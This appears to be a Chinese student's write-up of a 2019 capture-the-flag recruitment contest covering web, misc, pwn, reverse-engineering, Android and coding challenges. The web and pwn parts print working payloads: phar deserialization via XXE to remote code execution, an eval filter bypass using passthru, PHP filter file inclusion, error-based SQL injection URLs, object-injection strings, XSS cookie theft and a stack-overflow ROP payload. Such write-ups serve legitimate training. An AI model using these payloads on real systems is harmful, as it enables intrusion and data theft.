$phar->setStub("\xff\xd8\xff <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
将其上传,准备一个svg调用该phar文件,就像这样:(就是XXE)
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
<!ENTITY % lll SYSTEM "phar://picture/c7f843b408e80892e5f5773cb258ea05/076bf9284282dfb3e3f3b304769fcf85.jpg">
%lll;
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
</svg>
扔上去,服务器在解析XML时调用到此phar实体,phar文件中指定的Picture对象被创建,在其__destruct过程中调用exec(),执行了我们自定义的参数。
就RCE了。
后来在弹shell的过程中(是的,我是反弹shell爱好者wwwww),一直用curl来外带,后来才发现它根本就没有curl····emmmm
readflag在根目录下,需要执行才能读取到flag
神秘的三叶草
查看源码,首页发现Secret.php
提示It doesn't come from 'https://www.Sycsecret.com'
修改请求头为
-H "X-Forwarded-For: 127.0.0.1" -H "Referer:https://www.Sycsecret.com" -H "User-Agent: Syclover"
即可访问。
Syc{We1com3_t0_Syc_S3creT}
Eval evil code
要求验证码的md5的前四位等于一个指定的值
写个脚本爆破就行了。
又限制了函数内不能有自定义的字符串参数,也不能用数组下标
经过一番寻找,我找到了getallheaders()和array_rand()这两个函数,前者会作为数组返回整个http请求头,而后者会在参数数组中随机选一个,取其名字作为字符串返回。
于是可以构建
passthru(array_rand(getallheaders()));
然后就是看脸了wwwwwwwww,得多试几次,弹个shell回来就可以为所欲为了。
延伸:可以使用array_flip()将数组的键与值反转,在某些情况下可能会有用,比如使用get_defined_functions()取字符的时候
Jiang's Secret
查看源码,发现Archive_room.php
抓包,在点击action.php后会返回注释掉的secr3t.php,伴随一个302跳转。
然后是一个代码审计,会include file的内容,但不能出现httpdata
input关键字。
使用php伪协议套一层base64就好啦
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
HardSQL
过滤了/*,%0a,&之类的,还有"and"
但是可以用--当替换部分空格
就算成功注入了也不会有成功返回,但是可以报错
于是就可以报错注入了
过滤了and我们可以用or嘛wwwww
本来想根据以前学到的使用XPath报错(updatexml,extractvalue),但是当我照着以前的东西打上去然后把空格换成--后,它失败了.....
ERROR 1105 (HY000): XPATH syntax error: '~0s'
怎么办呢
我去到处Google,试图找到思路
终于,我找到了这个函数:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
但是*又被过滤了···
本来想试着找到各层的列名,结果扔上去之后惊喜的发现,它爆出了数据库名、表名,还能猜列名!
payload:
http://118.25.14.40:8103/check.php?username=admin&password=1%27or--exp(~(select--id))%23
返回:
DOUBLE value is out of range in 'exp(~--`geek`.`H4rDsq1`.`id`)'
id换成password,也是正常的,说明password也存在。
知道它在哪了,那么该如何爆出来呢?
在不连续三天的研究后,我发现了一开始xpath没有成功出来的原因:
mysql> select '1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name)from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema,mysql,perfor'
mysql> select '1'and--extractvalue(1,concat(0x7e,(select--group_concat(schema_name)from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~0s'
select和group_concat之间的空格不能用"--"替换,原因···我也不清楚。
问题点知道了就好说了(我一开始还以为是Maria的奇怪机制导致的==)
可以把空格两边分别用括号包裹起来,形成
mysql> select '1'and--extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema,mysql,perfor'
Bingo.
最终payload:
http://118.25.14.40:8103/check.php?username=admin&password=1%27or--extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x73))%23
XPATH syntax error: '~Syc{You_c4n_erRor_1njecti0n}s'
你有特洛伊么
要求只能上传图片,会验证文件头
那就加上文件头呗
又要求不能出现<?,这可怎么办呢?
还可以用呀
后缀名不能是php? phtml!
就好了
注意:<script language="php">
这种语法在php7.1之后就不能再使用了。(php中文手册上描述有误,请看英文站)
这里题目环境是php7.0
Leixiao's blog
你会盗号吗?
显然是一个XSS
进去注册之后发现一个report功能,要求输入一个链接,该链接会被管理员访问。
一开始我的思路是想办法绕过浏览器的限制用iframe跨域盗Cookie···这有点太前沿了,显然不会出现在招新赛上。
那就找本站的XSS点
经过一番寻找,发现注册时的密保问题是可控的,且可以被任何人访问。
但是限制了32字符··没办法,想办法缩短吧
去短链接站缩短网址,去掉http:,用 />直接闭合
就差不多了
扔上去,在攻击服务器上成功读到Cookie。
payload写好了发现公共XSS平台恰好挂了···没办法,在自己服务器上又写了一个qwq
反序列化1.0
就是简单的反序列化,源码本地跑一下复制序列化改个值扔上去就行了。
payload:
http://148.70.59.198:42374/?exp=O:7:%22Student%22:1:{s:5:%22score%22;i:10000;}
又来一只猫
算是反序列化2.0
提示有备份,果然在www.zip找到了源码
步骤和上题基本一致,只是在__wakeup时重置了username,所以要用CVE-2016-7124绕过。
另外还要注意这是私有属性,要用%00Name%00做前缀。
payload:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
你有初恋吗
要求传参进去的内容不能是syclover,但它urldecode后加上某前缀必须与syclover加上同一前缀的md相等
那就urlencode两遍就好了嘛
FinalSQL
只给了一个id项可以填,并且没有错误回显,id在1-6时分别返回不同的内容。
尝试发现SQL语句错误时,返回Error!,而id数不在预定义范围内时返回ERROR!!!。
尝试id=1--2,与id=3时相同。
再尝试id=1--id,返回ERROR!!!,而id=1--skiaishdas返回Error!。
于是可以这样猜字段名。
有什么用呢:(不是password,flag...
本地试了试,猜想它可能是这么写的:
select * from sqli where id=******
那就···可以用子查询咯。
所以···目前可以知道子查询的结果是1-6之间的哪个数···难道要手写编码?
理论上,我们可以用id=(ascii(substr(database(),1,1))mod(115))来一个字符一个字符地爆破···
太麻烦,显然不是正解。不,我真的这么做了。
尝试id=concat((select--1));select(1),直接Error!了,也不能用注释符号···
- 我真的去爆破了。
试出来库名就是geek,接下来
(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema)like'geek'),1,1))mod(110))
然后我发现like = 都不能用...
问了问贾师傅,得知where还可以用regexp
没有过滤。耶~
结果,在我用burp爆破的时候,我发现···
批注 2019-11-06 135754.png
网页上背景是黑色的,字也是黑色的,我就以为不能报错···
···于是就和上题的套路一样了。
·········真的无语,我是个傻子..
用exp()搞到了数据库名表名
Warning: mysqli_query(): (22003/1690): DOUBLE value is out of range in 'exp(~--`geek`.`Flaaaaag`.`id`)' in /var/www/html/search.php on line 34
- 但是,我想按照原来的思路再试试
等等,一开始没有group_concat,结果出错了,说明他数据库里有不止一个表?
结果一试···
(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema)regexp'geek'),1,1))mod(110))
这里一开始放错了,现在已经忘记另一个表叫什么了==
同样的方法,爆列名。
然后就可以开始跑了。
一开始我还在一个一个改,后来才想起来有个Cluster Bomb.....
还可以regexp'^Syc'(现学现卖?)
跑到这里我已经给他发了至少8.2k个包了==
批注 2019-11-06 162921.png
耶。
你读懂潇文清的网站了吗
御剑扫了一遍,发现index.php,config.php,upload.php,flag.php
config.php是个白页,upload.php是个jpg上传页面
显然flag.php是我们想要的
第一反应扔个小马上去,然而我并没有看到包含点
回到首页,看到一个输入框,结合提示XXE尝试直接改包修改Content-Type,无效。
经过多次尝试,我发现似乎con这样的格式会在response中显示中间的文本
猜想是经过了XML解析
尝试
<?xml version="1.0"?>
<!DOCTYPE a[<!ENTITY elf "LEO">]>
<root>&elf;awsl</root>
成功返回了LEOawsl
那就尝试注入呗,都知道flag在哪了
尝试过程中发现它过滤了http https ftp flag等关键字
- 思路一: 结合文件上传扔个dtd上去
- 思路二:直接data://text/plain;base64把dtd写在里面
这里我用了思路二。
所以最终payload
<?xml version="1.0"?><!DOCTYPE any [<!ENTITY % load SYSTEM "data://text/plain;base64,PCFFTlRJVFkgZWxmIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9mbGFnLnBocCI+">%load;]><root>&elf;awsl</root>
返回
PD9waHANCiRmbGFnPSJTeWN7WHhlK0Y0blh1bGkxSHU0LWlTLUFtYXppbmd9IjsNCmVjaG8gImZsYWcgaXMgaW4gbWV+IjsNCj8+awsl
小插曲: 一开始搞错了Web目录,还以为出了什么奇怪的bug
不知为何<!DOCTYPE any SYSTEM "">不能用,让我一度怀疑这里不是xml :(
但是,这两个都不是预期解。(什么?!!)
后来学长告诉我,这题的预期解法是,先读取config.php取得其中的对象配置(__wakeup会打印flag.php的内容),然后用phar://伪协议执行上传上去的phar文件触发反序列化。
但问题是,能读取config.php为什么不直接读flag.php呢····一般人碰到关键字会先想怎么绕过吧···
生成代码:
<?php
include 'config.php';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$o = new File();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
Misc
签到
真的只是签到,微信公众号回复flag就拿到了。
啊啊啊啊啊啊啊!!!我好兴奋!!!
解压,得到一个gif
先上binwalk分析,发现隐藏的jpg
dd提取出来,flag就在图片备注里
在misc Final中提供的版本中,备注是美颜软件信息wwwwwww
{"Version":"1.0.0","BeautyInfo":{"IsAIBeauty":false,"IsOldBeauty":true,"IsSkinColour":false,"SwitchMedicatedAcne":false,"IsBrightEyes":true,"IsReduceBlackEyes":true,"IsSharpen":false,"OldBeautyCount":1,"OldBeautyValue":"[0.352]"},"FaceliftInfo":{"IsChangeFacelift":false,"IsChangeThinFace":true,"IsChangeEyeLift":true,"IsChangeFaceChin":false,"IsChangeNose":false,"IsChangeMouth":true},"FilterInfo":{"IsUseFilter":true,"FilterCount":1,"FilterValueList":"[0.54]"},"ARInfo":{"IsUseAR":false},"MakeupInfo":{"IsUseMakeup":true},"HandlerInfo":{"AppName":2},"SoftHairInfo":{"IsUseSoftHair":false}}
翻过这座山
翻墙后打开链接,是Lamber师傅的tg,还有一个指向github的链接
flag就在github的最近提交里···当前版本的是假的flag,真的flag在历史记录里
我用这个方法找到了Android 3的flag···emmmm
科学上网,文明出行wwww
散打黑客的压缩包
提示4number,爆破即可。
彩蛋:两个4个数字连起来是16进制的egg
是谁杀了谁
注意自己的HP???
原来是在运行中会在当前目录生成隐藏文件HP,flag就在里面。
大佬直接逆向做?
RPG真是太有趣了吧
CE锁血,秒杀,打就完事了。
嘿,你喜欢吃鲱鱼罐头吗?
脑洞有点难以找到···
压缩包内有一张图片,图片的备注是它看上去就像一条死鱼一样
提示用英文搜索
打开图片,发现图片底部有一堆奇奇怪怪的英文字符串
这里其实是Deadfish语言,解码即可拿到flag。
我也想成为r1ngs
解压看到一大堆的16进制···
转换成ASCII后缩放到最小,可以看到它们拼成了flag,算是一个字符画?
马里奥也太有趣了吧
游戏题?
金手指开启
无敌,飞天,超速,请!
Flag就在8-4
I wanna be a geek
I wanna??
耶,这是我拿手的(虽然有几年不玩了)
轻松通关。
似乎正解是跳面或者地图编辑器?不太懂···
要是交给我出,我一定会搞一个超级难,自己都不一定能通关的出来23333
游戏玩累了,不如来来听听歌吧
拿到一段音频
根据题目描述时间倒转,将其反向
看到频谱图里有些奇怪的方块···
放大减速仔细听,发现有嘀嘀嘀的声音,猜想为摩尔斯电码
尝试将所有方块拼在一起(用Audacity-分析-寻找截辐失真辅助寻找),解码,啥也不是。
emmmmm
回到原音频,发现它的方块的大小不同,方块间的间隔也不同。
尝试将方块延长继续观察
发现方块有长有短,方块间隔中的长段大约为短段的两杯长
试着将长方块视为-,短方块视为.,长间隔视为空格,得到... -.-- -.-. -... .---- - . ... - .... ...-- -.. ..- ... -
解码,得到sycb1testh3dust
尝试了各种大小写下划线组合,终于试到了
flag:
SYC{B1TESTH3DUST}
我花了一个小时试出来得知flag格式不是SYC{}...还有这种操作?
早点睡
下载下来一个png,用记事本打开,满屏的Adobe Photoshop····
PS打开,看到一个透明度为0的图层,透明度拉满提取出来,看到一个链接
打开链接,下载下来一个base64,解码得到一个二维码
扫码,得到另一个base64后的二维码···
最后一个文件包含好几个短的base64,发现其中一段明显重复了好几次,解码,就是Flag了。
Pwn
Find tools
Google到了python库pwntools
看了看基本用法
c=remote("pwnto.fun",9999)
context.log_level = 'DEBUG'
c.sendline("l1ve_l0ng_and_pwn")
c.interactive()
拿到base64,l1ve_l0ng_and_pwn
怎么不行呢··
于是我就回去做Web了。
Geek快结束的时候,做不动了又来看看,发现是不能有末尾回车····
c.send("l1ve_l0ng_and_pwn")
Syc{pwn_1s_s0_fun}
Emmmmmm...
Baby rop
此题未完成。
感谢令则的指导,令则真是太强了qwq
原理就是写入数据大于栈中指定的最大数组量,导致后面的数据逃逸到了调用时的指针,使得指定地址上的函数被执行。
一开始看了segmentfault的指引,大概了解了它的工作原理,就照着打···
结果因为奇怪的原因始终无法解析到合适的pattern大小···
极客结束时去问令则,被令则大佬手把手教了qwq
原来这题目本身就有system的调用,无需再在libc里寻找可能的system调用点···
同时在IDA里查看到堆栈大小为88,即136,在136个字符后面写上调用system的函数的地址,传过去就行了。
payload:
payload="A" * 136 + p64(0x00000040619)
其实这样看来,这道题还是降低了难度的emmm
一开始在64位这里卡了一会,主要是自己之前没有了解过64位系统的内存地址,导致前期一直出奇怪的错误(虽然自己还是没解出来,但是也算是学会了这个点吧)
再次感谢令则大佬
Flag: Syc{S0_easy_and_s0_g00d}
Flag就不交了
RE
Jiang's Fan
IDA打开看一下字符串就行了。
Secret
IDA反编译,在对比处设一个断点,调试,查看被对比的两个数组,发现一个是自己输进去的内容,另一个就是flag了。
>unescape("%53%79%63%7b%6e%30%77%5f%79%4f%75%5f%6b%6e%6f%77%5f%62%34%73%65%31%36%7d")
'Syc{n0w_yOu_know_b4se16}'
这里倒是调linux调试器花了一些时间,wsl里的ida因为神奇的原因不能调试,还是用VPS搭了一个远程
也是极客快结束才重新捡起来做
冰菓
打开IDA,发现一句“dnSpy是个很好的工具”,于是下载dnSpy
时间有点长,具体怎么做的忘记了,比较明显就是了emmm
千反田真是太可爱了~
PYC是啥子嘛?
在网上找到pyc在线反编译的网站
发现这是一个迷宫
不大,直接dfs就出来了
写的时候数组少写了一个0,导致莫名其妙的错误还以为自己算法写错了qaq
核心代码:
bool dfs(int place){
if (place<0||place>=maze.size()) return false;
if (visited[place]) return false;
else visited[place]=true;
if (maze[place]=='#') return false;
if (maze[place]=='@'){
if (dfs(place-10)) ans+='&';
else if (dfs(place+10)) ans+='$';
else if (dfs(place-1)) ans+='6';
else if (dfs(place+1)) ans+='3';
else return false;
return true;
}
if (maze[place]=='E') return true;
}//ans倒着输出就好
别的就不会了呜呜呜呜
Android
Sign_in
直接就在asrc字符常量池里。
蒋学姐的秘密
学习工具的使用。
用dex2jar反编译为jar,翻源码,根据错误提示内容定位到关键代码
public class LoginDataSource {
public static String login(String paramString) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
messageDigest.update(paramString.getBytes());
StringBuffer stringBuffer = new StringBuffer();
byte[] arrayOfByte = messageDigest.digest();
for (byte b = 0; b < arrayOfByte.length; b++) {
byte b2 = arrayOfByte[b];
byte b1 = b2;
if (b2 < 0)
b1 = b2 + 256;
if (b1 < 16)
stringBuffer.append("0");
stringBuffer.append(Integer.toHexString(b1));
}
return stringBuffer.toString();
} catch (NoSuchAlgorithmException paramString) {
paramString.printStackTrace();
return "";
}
}
public Result<LoggedInUser> login(String paramString1, String paramString2) {
try {
if (paramString1.equals(LoginActivity.VersionName)) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("Syc{");
stringBuilder.append(login(paramString1));
stringBuilder.append("}");
return paramString2.equals(stringBuilder.toString()) ? new Result.Success(new LoggedInUser(UUID.randomUUID().toString(), paramString1)) : new Result.Error(new Exception("wrong password"));
}
return new Result.Error(new Exception("wrong user"));
} catch (Exception paramString1) {
return new Result.Error(new IOException("Error logging in", paramString1));
}
}
public void logout() {}
}
可以看到用户名是App版本,即Syclover
显然我们需要跑一遍login("Syclover")函数(总不能手算吧)
这里有个小问题,直接代码扔到Android studio里会提示数据类型错误,更改为int即可。
结果因为没配置好代理,还以为Android studio挂了,重装了一遍···GFW害我。
Smali是真的看不懂emm
flag: Syc{8ed847f4164c5b6e87fa2508a05181d1}
正在尝试重新连接
算是一个非预期,出题人的bug
看到在连接网络首先想到抓包(Web手2333)
由于Android的限制https包不太好抓,至少手机上是没抓到
上Android SDK里的AVD,设置代理,Fiddler抓到了CONNECT,没有解密但是暴露了域名
打开,发现是托管在GitHub上的师傅的博客
GitHub?
过去看历史记录,明文的Flag就躺在里面==
正解似乎是对那个文件的当前版本中的数组进行运算?不过既然已经拿到Flag了,我也不是RE手,就没深究,当Misc做了。
第四题要看反编译的JNI代码,我实在看不下去就没做·····
Coding
Dragon Quest
就3x3,要什么算法暴力就行。
#include<stdio.h>
#define max(a,b) (((a) > (b)) ? (a) : (b))
#define min(a,b) (((a) < (b)) ? (a) : (b))
int a[3][3];
int main(){
for (int i=0;i<3;i++){
for (int j=0;j<3;j++){
scanf("%d",&a[i][j]);
if (a[i][j]<=0){
printf("The monster is too weak...");
return 0;
}
}
}
int max0=max(max(a[0][0],a[0][1]),a[0][2]);
int max1=max(max(a[1][0],a[1][1]),a[1][2]);
int max2=max(max(a[2][0],a[2][1]),a[2][3]);
int min0=min(min(a[0][0],a[0][1]),a[0][2]);
int min1=min(min(a[1][0],a[1][1]),a[1][2]);
int min2=min(min(a[2][0],a[2][1]),a[2][3]);
if (min0+min1+min2>=100){
printf("The brave died on the way to leveling...");
return 0;
}
if (max0+max1+max2<60){
printf("why don't give the brave a chance to level up...");
return 0;
}
int ans=233333;
for (int i=0;i<3;i++){
for (int j=0;j<3;j++){
for (int k=0;k<3;k++){
int ansr=a[0][i]+a[1][j]+a[2][k];
if (ansr>=60) ans=min(ans,ansr);
}
}
}
printf("The brave still has %dHP left to face the BOSS",100-ans);
return 0;
}
挡路羊驼
就一DFS,数据也不大也不用担心复杂度的问题,和逆向的那个迷宫大同小异,只要限定某些地方不可访问就行。
#include<stdio.h>
int map[20][20]={0};
int x,y,ans=0;
int dfs(int a,int b){
if (a==x&&b==y){
ans++;
return 1;
}
if (a<0||b<0||a>x||b>y||map[a][b]) return 0;
dfs(a+1,b);
dfs(a,b+1);
}
__attribute__((constructor)) wojiushiyaopiyixiahhhhh(){
int t1,t2;
scanf("%d%d%d%d",&x,&y,&t1,&t2);
map[t1][t2]=1;
map[t1-1][t2-2]=1;
map[t1-1][t2+2]=1;
map[t1+1][t2-2]=1;
map[t1+1][t2+2]=1;
map[t1+2][t2-1]=1;
map[t1+2][t2+1]=1;
map[t1-2][t2-1]=1;
map[t1-2][t2+1]=1;
dfs(0,0);
}
int main() {return printf("%d",ans);}
一开始不清楚C不能用bool,为此wa了几次==